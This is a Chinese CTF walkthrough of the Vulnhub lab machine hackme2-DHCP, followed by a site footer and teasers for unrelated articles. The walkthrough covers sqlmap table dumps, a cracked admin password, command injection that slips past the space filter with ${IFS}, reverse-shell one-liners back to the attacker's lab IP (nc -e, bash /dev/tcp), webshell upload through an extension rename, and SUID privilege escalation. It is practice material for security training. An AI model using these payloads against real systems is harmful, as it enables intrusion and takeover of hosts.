Vulnhub靶机:hackme2-DHCP

一、介绍

运行环境:Virtualbox(攻击机)和VMware(靶机)

攻击机:kali(192.168.56.106)

靶机:hackme2-DHCP(192.168.56.107)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hackme/hackme2-DHCP.ova

二、信息收集

因为靶机导入Virtualbox会报错,所以靶机使用VMware

使用nmap主机发现,靶机ip为:192.168.56.107

netdiscover -i eth1 -r 192.168.56.0/24

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:22、80

在这里插入图片描述

80端口:打开网站发现是一个登录界面,查看源码没有发现隐藏信息。

在这里插入图片描述

登录界面首先猜测是否存在sql注入漏洞,可以使用sqlmap跑一下,发现不存在sql注入漏洞

sqlmap -u http://192.168.56.107/login.php --forms --dbs

在这里插入图片描述

使用dirsearch工具进行目录爆破

在这里插入图片描述

有一个注册页面,我们可以注册一个账号,登录,看看登录后有没有可利用的点

在这里插入图片描述

在这里插入图片描述

三、漏洞利用

登录后,发现存在一个查找book的功能点,怀疑存在sql注入漏洞,使用burpsuite截取该功能点的数据包,保存在post.txt里面,使用sqlmap工具进行测试,存在sql注入

sqlmap -r post.txt --dbs
sqlmap -r post.txt -D webapphacking --tables
sqlmap -r post.txt -D webapphacking -T users --dump

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现管理员账号的用户名和加密的密码,可以使用在线MD5解密网站进行解密

superadmin:2386acb2cf356944177746fc92523983

解密得到:Uncrackable

在这里插入图片描述

管理员账号登录网站,登录后发现存在文件上传功能点,直接上传webshell

在这里插入图片描述

发现上传失败,只能上传图片文件

在这里插入图片描述

页面下面有一个搜索用户活动的功能点,可已尝试判断是否存在XSS、命令注入、模板注入等漏洞,测试命令注入,输入6*6、5*6,可以发现5*6执行了等于 30,说明Last Name:存在命令注入。

在这里插入图片描述
在这里插入图片描述

可以尝试使用命令注入反弹shell,发现靶机命令注入过滤了空格

在这里插入图片描述

可以使用${IFS}绕过空格过滤

system('which${IFS}nc')

在这里插入图片描述

反弹shell,尝试过很多命令但都失败

system('nc${IFS}-e${IFS}/bin/bash${IFS}192.168.56.106${IFS}4444')

system("bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.56.106/4444${IFS}0>&1")

system("bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.56.106/4444${IFS}0>&1'")

system('nc${IFS}-c${IFS}bash${IFS}192.168.56.106${IFS}4444')

先将shell文件的后缀修改为png,并上传到靶机,然后使用命令注入将上传的shell后缀修改回php,进行反弹shell

system('ls${IFS}uploads')
system('ls${IFS}uploads/year2020')
system('mv${IFS}uploads/year2020/shell.png${IFS}uploads/year2020/shell.php')

在这里插入图片描述
在这里插入图片描述

修改后缀,修改成功

在这里插入图片描述
在这里插入图片描述

访问shell.php,反弹shell

shell的路径:/uploads/year2020/shell.php

在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看是否存在特权命令,和具有可利用的root权限的文件,发现一个可疑文件/home/legacy/touchmenot

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

直接执行该文件,获得root权限

在这里插入图片描述

未发现flag

参考链接:靶机渗透 HACKME-2 _hackme2-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/362586.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【lesson31】MySQL视图

文章目录 视图介绍基本使用创建视图案例删除视图 视图规则和限制 视图介绍 视图是一个虚拟表,其内容由查询定义。同真实的表一样,视图包含一系列带有名称的列和行数据。视图的数据变化会影响到基表,基表的数据变化也会影响到视图。 基本使用…

GitLab16.8配置webhooks、Jenkins2.4配置GitLab插件实现持续集成、配置宝塔面板实现持续部署(其三)

看本篇文章的前提是已经部署完GItlab和Jenkins服务器,已经可以手动构建成功,并且经过了很多次实践,对这两款软件基本熟悉。 建议大家按以下顺序看 前端自动化(其一)部署gitlab 前端自动化(其二&#xff0…

百无聊赖之JavaEE从入门到放弃(十四)异常

目录 一.异常机制 二.异常分类 三.异常的处理方式 1.捕获异常(try-catch-finally) 2.声明异常(throws 子句) 四.try-with-resource 五.自定义异常 六.IDEA 调试 debug 一.异常机制 工作中,程序遇到的情况不可能完美。比如&#xff1a…

Zabbix数据库分离与邮件报警

基础环境:要有zabbix服务端与被监控端实验目标:源数据库与服务端存放在一台服务器上,分离后源数据库单独在一台服务器上,zabbix服务端上不再有数据库。环境拓扑图: 实验步骤: 1.在8.7服务器上安装相同版本…

单片机驱动多个ds18b20

目录 1设计内容 2ds18b20介绍 2.1传感器引脚及原理图 2.2寄存器配置 3程序实现 3.1配置初始化 3.2配置寄存器 3.3ROM读取 3.4温度读取 1设计内容 通过51单片机,读取总线上挂载的多个ds18b20的温度信息。 如下图,成功读取到3路温度数据。 2ds18…

MD5算法:高效安全的数据完整性保障

摘要:在数字世界中,确保数据完整性和安全性至关重要。消息摘要算法就是一种用于实现这一目标的常用技术。其中,Message Digest Algorithm 5(MD5)算法因其高效性和安全性而受到广泛关注。本文将详细介绍MD5算法的优缺点…

双屏联动系统在展厅设计中的互动类型与效果

随着各项多媒体技术的快速发展,让展厅中的各类展项得到技术升级,其中作为电子设备中最基础的显示技术,不仅优化了内容的展示质量,还实现了更具互动性的创新技术,如双屏联动系统就是当前展厅设计中最常见的技术类型之一…

TS项目实战一:流淌的字符动画界面

使用ts实现虚拟世界,创建ts项目,并编写ts代码,使用tsc编译后直接加载到html界面,实现类似黑客帝国中的流淌的代码界面的效果。 源码下载地址:点击下载 讲解视频 TS实战项目一:数字流界面项目创建 TS实战项…

Airflow原理浅析

⭐️ airflow基本原理 Apache Airflow 是一个开源的工作流自动化工具,它用于调度和管理复杂的数据工作流。Airflow 的原理基于有向无环图(DAG)的概念,它通过编写和组织任务的有向图来描述工作流程。 以下是 Apache Airflow 的一…

解决ModuleNotFoundError: No module named ‘pysqlite2‘

目录 一、问题描述 二、问题分析 三、解决方法 四、参考文章 一、问题描述: 新建conda编译环境。安装Jupyter后打不开,报错: 二、问题分析: 缺少sqlite3动态链接库 三、解决方法: SQLite Download Page 下载…

go语言socket编程

1.互联网分层模型 过程分析: 2.Socket图解 Socket是应用层与TCP/IP协议族通信的中间软件抽象层。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket后面,对用户来说只需要调用Socket规定的相关函数&a…

幻兽帕鲁服务器游戏怎么升级版本?

幻兽帕鲁服务器游戏怎么升级版本?自建幻兽帕鲁服务器进入Palworld游戏提示“您正尝试加入的比赛正在运行不兼容的游戏版本,请尝试升级游戏版本”什么原因?这是由于你的客户端和幻兽帕鲁服务器版本不匹配,如何解决?更新…

数学建模-多目标规划

例:求下列函数最大值 Matlab 程序: 若分开求解,即分别求出第一个函数和第二个函数的最大值,我们试一下。 第一个函数最大值(我们先求最小值) c[3 -2];A[2,3;2,1];b[18;10];Aeq[];beq[];vlb[0;0];vub[];[…

redis设计与实践的总结

Redis是一款高性能的Key-Value存储系统,它可以用作缓存、消息队列、计数器、排行榜等多种应用场景。在实际应用中,如何设计和使用Redis是非常关键的。本文将介绍Redis的设计原则和最佳实践,帮助您更好地利用Redis提高应用性能和可靠性。 ###…

kuboard-spray 导入离线资源包

下载镜像 # 1. 在一台可以联网的机器上执行 docker pull registry.cn-shanghai.aliyuncs.com/kuboard-spray/kuboard-spray-resource:spray-v2.18.0a-8_k8s-v1.23.9_v1.16-amd64 docker save registry.cn-shanghai.aliyuncs.com/kuboard-spray/kuboard-spray-resource:spray-v…

hbuilderx uniapp运行到真机控制台显示手机端调试基座版本号1.0.0,调用uni.share提示打包时未添加share模块

记录一个困扰了几天的一个蠢问题,发现真相的我又气又笑。 由于刚开始接触uniapp 移动端开发,有个需求需要使用uni.share API,但是我运行项目老提示打包时没配置share模块 我确实没在manifest内配置。网上搜了一些资料,但是我看官…

漏洞01-目录遍历漏洞/敏感信息泄露/URL重定向

目录遍历漏洞/敏感信息泄露/URL重定向 文章目录 目录遍历敏感信息泄露URL重定向 目录遍历 敏感信息泄露 于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如: ---通过访问url下的目录,可以直接列出目录下…

Python实现利用仅有像素级标注的json文件生成框标注的json文件,并存放到新文件夹

import json import os # create rectangle labels based on polygon labels, and store in a new folder def create_rectangle_shapes(polygon_shapes):rectangle_shapes []for polygon_shape in polygon_shapes:# 获取多边形的坐标点points polygon_shape[points]# 找到最…

springboot142新冠病毒密接者跟踪系统

新冠病毒密接者跟踪系统设计与实现 摘 要 信息数据从传统到当代,是一直在变革当中,突如其来的互联网让传统的信息管理看到了革命性的曙光,因为传统信息管理从时效性,还是安全性,还是可操作性等各个方面来讲&#xff…

Flink实战五_状态机制

接上文:Flink实战四_TableAPI&SQL 在学习Flink的状态机制之前,我们需要理解什么是状态。回顾我们之前介绍的很多流计算的计算过程,有些计算方法,比如说我们之前多次使用的将stock.txt中的一行文本数据转换成Stock股票对象的ma…